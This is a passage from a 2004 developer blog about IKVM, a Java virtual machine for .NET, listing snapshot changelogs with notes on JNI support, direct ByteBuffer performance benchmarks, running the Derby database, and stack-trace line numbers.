  • Fixed dynamic bytecode helper methods to throw NoClassDefFoundError instead of ClassNotFoundException.
  • Improved detection of class circularity.
  • Added workaround for .NET bug for classes that end with a period.
  • Implemented support for enums that use unsigned integral types as underlying type.
  • Fixed several constant field related bugs.
  • Fixed several .NET literal field related bugs.
  • Added workaround for .NET 1.1 verifier bug that made accessing the Value field of an enum unverifiable (for integral types smaller than Int32).
  • Fixed obscure bytecode compiler bug dealing with assigning uninitialized object references to local variables.
  • Implemented verifier checks to enforce calling the base class constructor before returning from a constructor.
  • Fixed obscure verifier bug that incorrectly disallowed having the unitialized this in a local or on the stack when doing a backward branch.
  • Fixed several verifier bugs when dealing with incorrect bytecode (would previously throw an IndexOutOfBoundsException instead of a VerifyError).
  • Added validation of the exception handling tables to the verifier and class file parser.
  • Implemented invokeinterface verification for bogus bytes following the instruction.
  • Moved java.lang.Class object <-> TypeWrapper mapping from hashtable to field in TypeWrapper.
  • Fixed class loading deadlocking bug.
  • Fixed JNI methods to handle RetargetedJavaExceptions.
  • Fixed Class.getProtectionDomain() for array types (not in Classpath cvs yet).
  • Fixed Class.getModifiers() for inner class array types.

New snapshots: just the binaries and source plus binaries.

12/22/2004 9:40:49 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, December 13, 2004

Calling Conventions & New Snapshot

Puneet Nayyar had some problems with JNI and was kind enough to send me that DLL that didn't work with IKVM. It turned out that the DLL exported a bunch of methods without the name decorations that __stdcall (the JNICALL calling convention on Windows) requires. Originally I thought that the DLL used the __cdecl calling convention (which uses undecorated names, at least on the Visual Studio .NET 2003 C++ compiler, despite what Raymond Chen says), but an examination of the code showed that it did in fact pop the arguments of the stack. So the fix was trivial, just look up JNI methods in their undecorated form as well.

It worries me a little that this allows __cdecl methods to be found too (which is what you get when you forget the JNICALL modifier), because they would (most likely) result in a crash when called. The Sun JDK seems to (accidentally?) support the __cdecl calling convention, maybe they restore the stack pointer from EBP in their thunk.

Other changes:

  • Merged with GNU Classpath cvs.
  • Fixed Class.forName() bugs when dealing with invalid array class names.
  • Fixed Array.newInstance() when used on an unfinished class.
  • Changed os.name and os.version system properties to be more compatible with Sun (on Windows).
  • Changed ikvmc to allow building empty assemblies (mainly useful for creating executable that start a main method in an already compiled assembly).
  • Fixed FileChannelImpl to use a smaller buffer (FileStream forces the use of a buffer, but we don't want any buffering at all).
  • Fixed FileChannelImpl.write(int) to flush and handle exceptions.
  • Fixed FileChannelImpl to handle (asynchronously) closed streams correctly.
  • Fixed some weak reference bugs.
  • Fixed ikvmc to use correct resource names on Mono (leading slash wasn't chopped off).
  • Fixed JNI method lookup to support unmangled names.
  • Cleaned up handling of VerifyError and log the error in the right place.
  • Changed compilation "exception" trace messages to Error category (from Warning).
  • Added compiler support for special casing VMSystem.arraycopy (which is now called directly by Classpath's StringBuffer implementation).

New snapshots: just the binaries and source plus binaries.

12/13/2004 8:56:12 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, December 02, 2004

New Runtime -> Library Interface & New Snapshot

The major new feature in this version is that I introduced a new interface (ikvm.internal.LibraryVMInterface) to replace all late-bound library operations in the runtime. In some cases this is a performance optimization, but I mainly did it to get better compile time checking.

In addition to that a number of small steps on the long road to 1.0:

  • Merged with GNU Classpath cvs.
  • Made the Field/Method/Constructor constructors package private. These objects are constructed from java.lang.VMClass but they live in java.lang.reflect, so they needed to be public, but I realised that since package private turns into assembly accessibility, I could use some map.xml glue to make factory methods in java.lang.VMClass that access the package private constructors in the java.lang.reflect package.
  • Fixed a whole bunch of DatagramSocket bugs.
  • Increased my Mauve test set enormously. I now run almost all Mauve tests. Current results: 238 of 3600422 tests failed.
  • Fixed FileChannelImpl.truncate to only truncate (not grow) the file.
  • Fixed several small java.io.File compatibility problems.
  • Fixed exception cleaning code to not skip package private methods.
  • Fixed a regression in ikvmc that caused it not to emit the names of method parameters.
  • Fixed regression that caused an exception when processing a constant boolean field.
  • Introduced ikvm.internal.LibraryVMInterface to replace all late binding from the runtime to the class library.
  • Added public API IKVM.Runtime.Util.MapException() to map exceptions from non-Java code.
  • Added ldobj instruction to remapper.cs.
  • Added a tools sub-project (currently only contains one simple app to generate an assembly reference for ilasm).
  • Implemented java.nio.channels.Channels.new[In|Out]putStream native methods.
  • Added stack trace cleaning to remove java.lang.LibraryVMInterfaceImpl methods.
  • Fixed some uncommon cross language Finalize method issues (e.g. when a Java class inherits from a C# class that inherits from Java class).
  • Optimized empty finalize methods. They are no longer registered as real Finalize methods.
  • Fixed reflection on .NET types to properly handle Java ghost interfaces.
  • Added a jvm sub-project to build JVM.DLL (Windows only).
  • Removed stub ikvm/classpath/gnu/java/net/protocol/ftp/Handler.java now that GNU Classpath has an ftp implementation.

New snapshots: just the binaries and source plus binaries.

12/2/2004 10:09:11 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Wednesday, November 24, 2004

Direct ByteBuffer, Inlining & New Snapshot

Michael Koch finished Classpath's implementation of DirectByteBufferImpl. Direct ByteBuffers allow Java code to access unmanaged memory. You can allocate them from Java using ByteBuffer.allocateDirect or from JNI using NewDirectByteBuffer. The default Classpath implementation uses native methods to implement accessing the buffer, but for IKVM I really didn't want to do it that way, because I like to use managed code whenever possible (for both maintainability and portability) and also because native method invocation is fairly slow. I therefore decided to reimplement gnu.classpath.RawData (the Classpath abstract native memory pointer) and java.nio.VMDirectByteBuffer.

At first RawData was a value type containing a single IntPtr field in an attempt to avoid an indirection when loading the pointer. This required that I replaced the implementation of DirectByteBufferImpl.get/put with some handwritten CIL instructions, because the compiled Java code resulted in unnecessarily boxing the RawData struct and that obviously killed performance. Since I was replacing the get and put methods anyway, I also inlined the index check and position update. After some experimentation I discovered that making RawData a value type didn't really help performance (the .NET JIT isn't very good at taking advantage of value type optimization opportunities) so I changed it into a reference type, this removed the need for special casing get and put, but when I removed the handcoded CIL performance went down significantly (approx. 50% slower). For some reason the JIT wasn't inlining the index check method, so I left the handcoded CIL in map.xml.

Here's a random microbenchmark:

import java.nio.*;
class DirectByteBuffer {
  public static void main(String[] args) {
    final int SIZE = 10 * 1024 * 1024;
    for(int j = 0; j < 2; j++) {
      ByteBuffer b = ByteBuffer.allocateDirect(SIZE);
      long start = System.currentTimeMillis();
      for(int i = 0; i < SIZE; i++)
        b.put(i, (byte)i);
      long sum = 0;
      for(int i = 0; i < SIZE; i++)
        sum += b.get(i) & 0xFF;
      long end = System.currentTimeMillis();
      System.out.println(end - start);
      System.out.println("sum = " + sum);
    }
  }
}

Results:

JRE 1.4.2 HotSpot Client VM Average
671 530 541 521 461 545
450 461 450 460 460 456
           
JRE 1.5 HotSpot Client VM  
401 461 411 481 480 447
410 360 441 410 411 406
           
JRE 1.5 HotSpot Server VM  
220 120 110 120 120 138
100 110 110 160 100 116
           
IKVM on .NET 1.1  
201 231 231 240 251 231
210 210 210 221 220 214
           
IKVM on Mono 1.0.2 (--optimize=all)  
430 391 400 401 390 402
401 390 401 390 401 397


Pretty good results. Most other operations perform similarly, except for compact, copy a large buffer takes about twice as long as on the JRE. The .NET class library really should have a memcpy or memmove method that is properly optimized. Note that there is CIL instruction cpblk to copy memory and I tried that as well, it is about 30% faster than my straightforward C# loop, but it doesn't handle overlapping regions and I didn't want to use an unverfiable instruction anyway (as that would cause IKVM.GNU.Classpath to fail verification and I use verification as simple smoke test during build to catch the most obvious regressions in the compiler).

I've also updated the Japi status results: IKVM vs JDK and JDK vs IKVM.

Other changes:

  • Resync'ed with GNU Classpath cvs.
  • Removed java/net/SocketInputStream.java and java/net/SocketOutputStream.java.
  • Moved contents of java/net/PlainSocketImpl.java to gnu/java/net/PlainSocketImpl.java.
  • Moved contents of java/net/PlainDatagramSocketImpl.java to gnu/java/net/PlainDatagramSocketImpl.java.
  • Added deprecated attribute to the three deprecated String methods.
  • Added deprecated attribute support to map.xml parser.
  • Added deprecated attribute support to ClassFileWriter.
  • Added deprecated attribute support to ikvmstub.
  • Added public API to query deprecatedness of fields, methods, constructors and classes.
  • Changed ikvmstub to emit serialVersionUID fields even if it is private, to make Japicompat status more accurate.
  • Added public API to query the constant value of a field.
  • Added ConstantValueAttribute to persist the constant value of constant instance fields (which are treated the same as static constant fields, by javac).
  • Added support to ikvmstub for constant instance fields.
  • Changed japi build file to generate both forward and backward compatibility reports.
  • Fixed runtime to support loading a pre-compiled Java class by referencing an ikvmstub generated stub class.
  • Fixed module names when generating -Xsave files.
  • Moved JNI method pointer field to proxy class when generating -Xsave files.
  • Replaced gnu.classpath.RawData with an IKVM specific version.
  • Added optimized special case implementation of several java.nio.DirectByteBufferImpl methods to map.xml.
  • Removed CharConversionException handlers from StringHelper (I fixed Classpath's character/string encoders/decoders to no longer throw exceptions).
  • ClassLoaderWrapper has a new method PublishLibraryImplementationHelperType to publish types that live in IKVM.Runtime.dll (this is used for the new gnu.classpath.RawData that lives in IKVM.Runtime.dll because it contains unverifiable code).
  • Improved line number table encoding (more space efficient and simpler code).
  • Implemented JNI methods NewDirectByteBuffer, GetDirectBufferAddress and GetDirectBufferCapacity.
  • Added new method AttributeHelper.SetEditorBrowsableNever to decorate methods with the EditorBrowsableAttribute (to prevent them from showing up in Intellisense).
  • Implemented support to override method implementations in map.xml (not implemented for constructors yet).
  • Renamed all of the IKVM introduced fields and methods to __<xxx>.
  • Added support for several new CIL instructions to remapper.cs.
  • Shadow types (e.g. the .NET java.lang.Object type) now hide all inherited methods and decorate them with EditorBrowsableAttribute(Never) so that they no longer show up in Intellisense.
  • I broke JNI.RegisterNatives in this snapshot (but it's fixed in cvs).

New snapshots: just the binaries and source plus binaries.

11/24/2004 1:56:56 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Tuesday, November 09, 2004

New Snapshot

A new snapshot. Nothing new, except that FileDescriptor.sync now actually works on Linux.

Thanks to lupus for reporting that it didn't work before.

New snapshots: just the binaries and source plus binaries.

11/9/2004 5:37:29 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Comment Spam

Yesterday I disabled comments, because the comment spam was driving me nuts. I've now re-enabled them, but I've added a programming question that hopefully should be easy to answer for anyone wishing to comment, but too hard for the spammers to be worthwhile to figure out.

If you want to comment but don't know the answer to the question, feel free to e-mail me.

Sorry, for the inconvenience. :-(

11/9/2004 3:02:36 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, November 08, 2004

Running Derby on IKVM

At the Colorado Software Summit I attended a presentation on Derby by Dan Debrunner. Derby is the open source version of IBM's Cloudscape database engine. After seeing the presentation I decided to try to run it on IKVM. I tried some simple tests and they all went fine. At the moment Derby doesn't include a test suite yet (IBM is working on releasing their tests), so I didn't do any extensive testing.

Since Derby is a real transactional database engine it uses a transaction log and requires FileDescriptor.sync() to work corectly, so I decided to implement that. I hadn't previously implemented it, because it unfortunately requires platform specific code, so it only works on Windows and on Posix systems (when running on Mono).

I wrote a very simple test app in C# (and the Java equivalent) and did some performance tests (download source):

Operation Sun JDK 1.5 IKVM/.NET 1.1 IKVM/Mono 1.0.2
getConnection 1903 1472 2177
create table 450 634 624
prepareStatement1 344 514 978
1000x insert 1031 387 550
prepareStatement2 124 294 231
1000x select 1038 851 3682

(Times in milliseconds, based on average of three best runs out of four runs.)

All the usual disclaimers about benchmarks apply of course, but it's interesting to see that IKVM on .NET outperforms JDK 1.5 on the queries. Preparing the statements take longs, but that is expected, as IKVM has to convert the generated class files to CIL (and this part of IKVM is not very efficient).

Another interesting aside is that when I ran the test on JDK 1.4.1, the insert operation took about 40 seconds to run. This rather extreme performance bug was fixed in 1.4.2.

One thing that is important to note when running Derby on IKVM is that Derby compiles all queries to bytecode and IKVM doesn't support garbage collecting classes (due to .NET's inability to unload code), so unless your application uses a fixed set of prepared statements that fit in the Derby statement cache, you're going to leak memory.

I made a new snapshot that includes the new sync implementation:

  • Resync'ed with GNU Classpath cvs.
  • Implemented java.io.FileDescriptor.sync() and java.nio.channels.FileChannel.force().
  • Fixed java.io.File to treat file paths as case insensitive on Windows.
  • Made exception helper a little more robust against exceptions happening early in bootstrap.
  • Fixed japi build file to include all the public APIs.
  • Fixed ClassLoaderWrapper.getSystemClassLoader() to bypass ClassLoader.getSystemClassLoader() and access the underlying field directly, to prevent a security check.
  • Changed DotNetTypeWrapper to overrider GetClassLoader to lazily get the system class loader.
  • Fixed ikvmc generated main stub to return 1 if the program exited with an exception.
  • Implemented support for java.security.manager system property (the security manager can now be set from the command line using -Djava.security.manager=<class>).

New snapshots: just the binaries and source plus binaries.

11/8/2004 11:51:13 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [5]

Thursday, November 04, 2004

Japitools & New Snapshot

I've integrated Stuart Ballard's Japitools in my build process to keep track of the API completion status and to test ikvmc and ikvmstub. To results of running it on the current ikvm development snapshot can be found here.

What's new in the snapshot:

  • Implemented AWT Toolkit.getFontList().
  • Regenerated mscorlib, System and System.Xml stub jars with new version of ikvmstub.
  • Resync'ed with GNU Classpath cvs.
  • Improved error handling in Socket classes (exceptions throw now match the JDK better).
  • Implemented urgent data and shutdown methods in PlainSocketImpl (thanks to Dmitry Gromov for this).
  • Fixed ikvm.exe and ikvmc.exe to support slashes in Main-Class entry in manifest.
  • Fixed ikvmstub.exe to emit throws clauses for constructors.
  • Fixed bug that caused internal error when compiling class that has a non-private final field of a type that cannot be loaded.
  • Fixed reflection on .NET types to mark non-virtual methods as final.
  • Fixed name clash detection algorithm to ignore constructors (because name clash prevention isn't yet implemented for constructors).
  • Fixed reflection on .NET types to ignore newslot methods that hide a virtual method in a base class.
  • Fixed reflection on .NET types to not emit a public for explicitly implemented interface methods if a base class already has a suitable method.
  • Removed HideFromJavaAttribute from remapped types.
  • Added HideFromJavaAttribute to nested helper type generated for remapped interfaces.

New snapshots: just the binaries and source plus binaries.

11/4/2004 2:13:12 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Tuesday, October 19, 2004

Stack Traces & Line Numbers

Today's snapshot contains a very helpful new feature: Line numbers in stack traces. Unfortunately you only get line numbers in statically compiled code on .NET 1.1, but on Whidbey you'll also get line numbers for dynamically compiled code. At the moment Mono doesn't support them at all :-(

Together with this I also fixed up the stack trace cleaning code to remove most of the IKVM and .NET implementation artifacts from the stack traces. If you don't want the sanitized stack traces, you can use -Dikvm.cleanstacktrace=0 to disable it. This can be helpful to understand what's going on under the covers, especially if there is a bug in the cleanup code ;-)

Here is an example of a cleaned stack trace with line numbers (when run on Whidbey):

public class test
{
  public static void main(String[] args)
  {
    try {
      Object o = new Object();
      ((cli.System.Object)o).ToString();
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      new java.util.Hashtable().put(null, null);
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      "".endsWith(null);
    } catch(Throwable t) {
      t.printStackTrace();
    }
    try {
      "".charAt(1);
    } catch(Throwable t) {
      t.printStackTrace();
    }
  }
}
C:\tmp>ikvm test
java.lang.ClassCastException
        at test.main (test.java:7)
java.lang.NullPointerException
        at java.util.Hashtable.hash (Hashtable.java:822)
        at java.util.Hashtable.put (Hashtable.java:432)
        at test.main (test.java:12)
java.lang.NullPointerException
        at cli.System.String.EndsWith (Unknown Source)
        at java.lang.String.endsWith (map.xml:335)
        at test.main (test.java:17)
java.lang.StringIndexOutOfBoundsException
        at java.lang.String.charAt (map.xml:266)
        at test.main (test.java:22)

What's new:

  • Merged with Classpath cvs.
  • Added stub to AWT toolkit for getClasspathTextLayoutPeer.
  • Added two new public APIs to the runtime:
    - IKVM.Runtime.Util.GetClassFromObject(). It returns the java.lang.Class object corresponding to the passed in object. It is now used by java.lang.Object.getClass().
    - IKVM.Runtime.Util.GetClassFromTypeHandle(). This is used by the compiler when it needs the class object (for synchronized static methods, for static JNI methods and for the new 1.5 ldc class literal).
  • Changed map.xml String.hashCode body to redirect.
  • Inlined String.charAt in map.xml.
  • Improved stack trace cleaning so that IKVM implementation artifacts are removed from exception stack traces.
  • Code compiled with ikvmc now produces stack traces with line numbers even if the -debug option isn't used. On Whidbey, dynamically converted code will also have line numbers in the stack traces.
  • Moved my system/extension class loader implementation into GNU Classpath.
  • Implemented stack walking for AccessController security checks.
  • Fixed -D option. I used a StringDictionary to store the key/value pairs, but that converts the keys to lowercase.
  • Added -nostacktraceinfo option to ikvmc, to disable generating the line number information table and source file attributes.
  • Made ikvmc a little more robust in dealing with bogus path arguments.
  • Changed TypeWrapper.IsAbstract and ClassFile.IsAbstract to return true for interfaces, even if the abstract bit isn't set.
  • Made class loading error tracer more robust.
  • Introduced a CountingILGenerator wrapper for ILGenerator that keeps track of the IL offset (required for the line number tables).
  • Added AttributeHelper methods to set the new SourceFileAttribute and LineNumberTableAttribute.
  • Removed TypeWrapper.PackageName (was only used in one place and it wasn't correct for array types).
  • De-virtualized TypeWrapper.EmitBox (custom boxing support was previously removed).
  • Reflection now reports a public default constructor on all ValueTypes (on the .NET the default constructor for value types is implicit).
  • Finally completed the inheritance inversion for java.lang.Object/cli.System.Object and java.lang.Throwable/cli.System.Exception. Casting and instanceof tests on cli.System.Object and cli.System.Exception will now work consistently with reflection (i.e. cli.System.Object is a subclass of java.lang.Object and cli.System.Exception is a subclass of java.lang.Throwable). Similar work still needs to be done for java.lang.Comparable/cli.System.IComparable and (a little different) java.lang.String/cli.System.String.
  • Introduced two new custom attributes SourceFileAttribute and LineNumberTableAttribute.
  • Added line number tracking to map.xml parsing.
  • Added blt, ldc_i4_1, add and mul opcodes to remapper.
  • Fixed bug in remapper that caused local variables and labels outside of exception blocks not to be visible inside exception blocks.
  • Fixed verifier to detect trying to instantiate an array type with the new bytecode.
  • Fixed verifier bug that caused NullReferenceException on methods that had dead code that contain local variable stores when compiling with the -debug option.
  • Fixed bug in remapped type code generator that caused remapping helper methods to show up in Java reflection (I forgot to emit the HideFromJavaAttribute).
  • Added error handling for unknown attributes to map.xml parser.

New snapshots: just the binaries and source plus binaries.

10/19/2004 4:10:46 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, October 07, 2004

Generic Algorithms Revisited

OSNews has an article about using generics to do calculations on Whidbey. When I originally wrote about this, my trick was much slower than the virtual dispatch one that Anders suggested, but it's nice to see that the CLR perf team paid attention, because on the current Whidbey beta it's really fast.

10/7/2004 11:10:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Tuesday, October 05, 2004

Compiling javac into an executable with ikvmc

Just a quick tip: If you want to use javac with IKVM that's possible. The only thing to watch out for is that javac requires access to the class files for the core Java classes. IKVM doesn't include these files, but you can generate them by running ikvmstub on IKVM.GNU.Classpath.dll or you can just let javac use the rt.jar of the JDK.

(The following examples assume that the Java SDK is installed in \j2sdk1.4.0)

Here's how you can run javac with ikvm (wrapped for readability):

ikvm -Dsun.boot.class.path=\j2sdk1.4.0\jre\lib\rt.jar
     -classpath \j2sdk1.4.0\lib\tools.jar
     com.sun.tools.javac.Main
     test.java

Here's how you can compile javac into a .NET executable:

ikvmc -out:javac.exe
      -main:com.sun.tools.javac.Main
      -Dsun.boot.class.path=\j2sdk1.4.0\jre\lib\rt.jar
      \j2sdk1.4.0\lib\tools.jar

Note that this hardcodes the path to rt.jar into the javac.exe file, so this executable can only be used on the system it was created on. Note also that you cannot redistribute the javac executable because this would violate the Sun license.

10/5/2004 4:17:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

New Snapshot

A couple of bug fixes and some cleanup, but the two major new features are the support for Whidbey (ikvmstub can now handle Whidbey's mscorlib) and the fact that getClassLoader() now returns the system class loader for statically compiled classes (instead of null).

Note that Whidbey support only means that IKVM will now run successfully on Whidbey, not that any of the new Whidbey features are available to use from Java. In particular, generic types and generic methods are not visible to Java code.

What's new:

  • Implemented support for assertions.
  • Changed TimeZone code to find an existing Java timezone that matches the current .NET TimeZone (a little better than before but it's still a very lame solution).
  • Added -r short form of -reference option to ikvmc.
  • Improved error handling for incorrect filenames/paths in ikvmc.
  • Changed TypeWrapper.GetFieldWrapper() to take a signature string instead of a TypeWrapper.
  • Statically compiled code (outside of IKVM.GNU.Classpath.dll) now returns the system class loader for Class.getClassLoader(), instead of null.
  • Changed FieldWrapper implementation to subclass based model instead of delegating to CodeEmitter instances.
  • Removed most of the CodeEmitter functionality.
  • Fixed field reflection bug (reflecting on fields in statically compiled Java types or .NET types didn't work unless you had previously reflected on the methods of the type, or dynamically compiled code against the type).
  • Added preliminary support to run on Whidbey (generic types and methods will not be visible from Java).
  • Removed map.xml support for without sig attribute.
  • Fixed reflection on .NET types to ignore methods with ByRef pointer arguments.
  • Added support to ikvmstub to skip .NET types that aren't visible from Java.

New snapshots: just the binaries and source plus binaries.

Update: I updated the snapshot to fix a regression when accessing fields where the field type class is not found.

10/5/2004 1:32:00 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, September 27, 2004

New Snapshot

A couple of fixes and performance enhancements for static synchronized and static native methods.

Changes:

  • Fixed ikvmc so it no longer throws an exception if no output filename is specified (or implied).
  • Fixed monitorenter instruction and synchronized methods to not throw InterruptedException.
  • Added [DebuggerStepThroughAttribute] to all methods in ByteCodeHelper that didn't have it yet.
  • Added class object caching for static synchronized and native methods.
  • Fixed Thread.stop() so that it works on suspended threads.
  • Implemented a few more random awt peer methods.
  • Removed gnu.classpath.RawData mapping from map.xml.
  • Changed ikvm.exe setting of gnu.classpath.home and java.class.path properties so that they end up in the default system properties.
  • Added IKVM.Runtime.Startup.EnterMainThread() and ExitMainThread() methods (and changed ikvm.exe) to encapsulate the setup and tear-down of the main thread.
  • Fixed JNIEnv.MonitorEnter to use ByteCodeHelper.monitorenter.
  • Fixed compiler bug that caused invoking CharSequence methods to generate a ClassCastException.
  • Changed ikvmc main stub method to call Startup.EnterMainThread() and ExitMainThread() and to pass unhandled exceptions to ThreadGroup.uncaughtException().
  • Fixed JNI method invocation to not wrap exceptions in java.lang.reflect.InvocationTargetException.
  • Fixed support for synchronized native methods.
  • Fixed bug in JNI proxy generator (only used when -Xsave option is specified).
  • Named the WaitShutdownHook and SaveAssemblyShutdownHook threads in starter.cs.
  • Fixed JNIEnv.RegisterNatives when JNI proxy generator is used.
  • Fixed Double.parseDouble to parse +Infinity correctly.

New snapshots: just the binaries and source plus binaries.

9/27/2004 12:27:17 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 15, 2004

New Snapshot

A new snapshot with some minor changes. In the previous entry I forgot to document two JNI restrictions:

  • JNI doesn't work with Mono 1.0 on Windows (Mono doesn't do correct P/Invoke name mangling on Windows -- this can be worked around by rebuilding IKVM.Runtime.dll with the alternative DllImport attributes in JniInterface.cs).
  • JNI libraries are never unloaded. Class loaders aren't garbage collected and consequently, native libraries aren't either.

Changes:

  • Implemented support for globbing on Windows. Both to ikvm.exe and to executables compiled with ikvmc (on ikvmc it can be disabled with the -noglobbing option).
  • Added IKVM.Runtime.Startup class that contains globbing support and a method to set Java system properties.
  • Added option to ikvmc to set Java system properties before starting the application (executables only).
  • Disabled freeing of JNIEnv unmanaged memory (for the time being) because it causes crashes on Mono (possibly due to a GC bug in Mono).
  • Added optimization to mark "side effect free" static initializers with the beforefieldinit flag. (Static compilation only.)
  • Added special case support to the verifier for the "side effect free" optimization.
  • Fixed a verifier bug that caused unverifiable code to be generated in rare circumstances (the code worked OK, it just wasn't verifiable). This was the issue that caused Xerces' org.apache.xerces.util.DOMUtil.copyInto() to fail verification.

New snapshots: just the binaries and source plus binaries.

9/15/2004 3:42:50 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 09, 2004

JNI Code Complete & A New Snapshot

JNI is now done. Almost complete support for all J2SE 1.4 JNI functionality. There are a few (permanent) restrictions:

  • It's much slower than on a real JVM (most operations are between 10x and 100x slower).
  • You cannot create a string instance with AllocObject and then call the constructor on it with CallNonvirtualVoidMethod. This is unlikely to be a problem, because there really is no reason to go through all this trouble to create a string. The normal ways to create a strings are NewString, NewStringUTF and NewObject and these work fine. If any app were found that depended on two step string construction, a workaround for that particular app could probably be added.
  • JVM.DLL, which implements the three static invocation API functions, only works on Win32.
  • JNI_CreateJavaVM only supports the JDK 1.2 style init args and only the -D option (to define Java properties).
  • JNI_GetDefaultJavaVMInitArgs is not implemented. It's only used for JDK 1.1 style JVM creation, so I don't think it'll be used anymore. If anyone requires it, it could be implemented.
  • JNI_GetCreatedJavaVMs only returns the JavaVM if the VM was started through JNI or a JNI call that retrieves the JavaVM has already occurred.
  • JavaVM.DestroyJVM is only partially implemented (it waits until there are no more non-daemon Java threads and then returns JNI_ERR).
  • JavaVM.DetachCurrentThread doesn't release monitors held by the thread.

JVM.DLL is really cool. It's a small stub created with ILASM. It's only a few lines of code and all it really does is export three managed functions to the unmanaged world. The ability to export managed functions is is a very nice CLR feature that is relatively unknown. On a Win32 system, any native application that hosts the Sun Java Virtual Machine can now use IKVM (without modifying the native app), simply by copying the IKVM DLLs into the native applications directory and removing the real Java VM JVM.DLL from the PATH.

Changes:

  • Imported new Classpath TimeZone handling. This still leaves TimeZone support in a very broken state, but at least the Classpath VM interface is now more powerful and should hopefully allow a correct implementation when I get around to it.
  • Finally added namespaces to all public classes in IKVM.Runtime.dll. There are IKVM.Attributes, IKVM.Runtime, IKVM.Internal and IKVM.NativeCode. IKVM.Internal contains public types that really shouldn't be public, but have to be public because ikvm or ikvmc depend on them. In IKVM.NativeCode live the implementations of the GNU Classpath native methods.
    Don't use the types in the IKVM.Internal or IKVM.NativeCode namespace in your own projects, because they are likely to go away or change in incompatible ways. IKVM.Attributes and IKVM.Runtime are going to be relatively stable (but they can still change up until the 1.0 release) .
  • Added support for JNI thread detaching and waiting for all non-daemon threads to end to VMThread.java.
  • Added GetClassFromTypeHandle method to ByteCodeHelper, this replaces the direct use of NativeCode.java.lang.VMClass.getClassFromType by JNI method stubs and synchronized static methods.
  • Moved the various arraycopy methods from NativeCode.java.lang.VMSystem to ByteCodeHelper.
  • Added getSystemClassLoader method to ClassLoaderWrapper.
  • JavaException.cs: Removed message from ArrayStoreException and added InstantiationException.
  • Added invocation API support to JNI.
  • Renamed JniFrame to Frame and made it an innerclass of IKVM.Runtime.JNI.
  • Implemented more efficient way to determine active JNI method class loader in JNIEnv.FindClass.
  • Fixed JNI method resolution to look for short and long method names in each native library (previous it would first search all libraries for the short name and then in another pass would look for the long names).
  • Added support for JavaVMAttachArgs to JavaVM.AttachCurrentThread.
  • Implemented JavaVM.DestroyJavaVM.
  • Implemented JavaVM.DetachCurrentThread.
  • Implemented JavaVM.AttachCurrentThreadAsDaemon.
  • Implemented JNIEnv cleanup when thread dies.
  • Fixed JNIEnv.DefineClass to decode name as platform specific instead of UTF-8.
  • Fixed JNIEnv.FindClass to decode name as platform specific instead of UTF-8.
  • Fixed JNIEnv.SetPendingException to do exception mapping and set the stack trace.
  • Fixed JNIEnv.ThrowNew to decode message as platform specific instead of UTF-8.
  • Fixed JNIEnv.ExceptionDescribe to clear pending exception (and to actually work).
  • Fixed JNIEnv.FatalError to decode message as platform specific instead of UTF-8.
  • Added error handling to JNIEnv.AllocObject (if you try to create interface or abstract class instance).
  • Added error handling and value type support to JNIEnv.NewObjectArray.
  • Added value type support to JNIEnv.GetObjectArrayElement and JNIEnv.SetObjectArrayElement.
  • Added error handling to the various JNIEnv.New<PrimitiveType>Array functions.
  • Added error handling to the various JNIEnv.Get<PrimitiveType>ArrayRegion and JNIEnv.Set<PrimitiveType>ArrayRegion functions.
  • Implemented growing the local ref table for native methods that use (or leak) excessive amounts of local refs.
  • Changed stack and local variable type encoding of value types and enums to System.ValueType and System.Enum respectively (instead of simply System.Object).
  • Fixed bug in bytecode compiler that caused it emit incorrect code when calling inherited methods on value types or enums.

New snapshots: just the binaries and source plus binaries.

9/9/2004 1:51:09 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, September 05, 2004

New Snapshot

A couple of fixes and a clean up of the JNI code. The Managed C++ JNI provider used some clever tricks and when I ported them to C# they turned into ugly hacks, so I removed them. More on that in a future entry.

Changes:

  • Changed VMAccessController and VMClassLoader to use .NET thread local storage instead of a Java ThreadLocal to reduce initialization order dependencies.
  • Added -XXsave flag to ikvm.exe to save debug image of single threaded apps that don't call System.exit().
  • Added -apartment:[sta|mta|none] flag to ikvmc (default is to apply the STAThreadAttribute to main).
  • Added Win64 support to ikvm-native.
  • Fixed class file parser to properly resize the instruction array. Previously, the compiler got confused when emitting debugging information.
  • Added code to save the assembly used for non-virtual reflective method invocations when -Xsave is used.
  • Introduced JNI type name aliases in JniInterface to make the code more readable.
  • Implemented JNI functions: EnsureLocalCapacity, PushLocalFrame, PopLocalFrame, NewWeakGlobalRef and DeleteWeakGlobalRef.
  • Fixed Debug.Assert in GhostMethodWrapper (MemberWrapper.cs).
  • Fixed JniProxyBuilder to emit ldtoken and pass it as an argument to the real JNI method.
  • Improved error handling in gnu.java.io.EncodingManager.
  • Fixed support for setting the java.library.path property on the ikvm.exe command line.
  • Fixed default java.library.path on Windows.
  • Added workaround for Mono 1.0 bug in Marshal.AllocHGlobal.
  • Fixed delegate reflection bug that caused ikvmstub not to emit the nested Method interface for delegates.
  • Added resource name mangling to make ILDASM/ILASM roundtripping work.

New snapshots: just the binaries and source plus binaries.

9/5/2004 11:54:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 31, 2004

New Snapshot

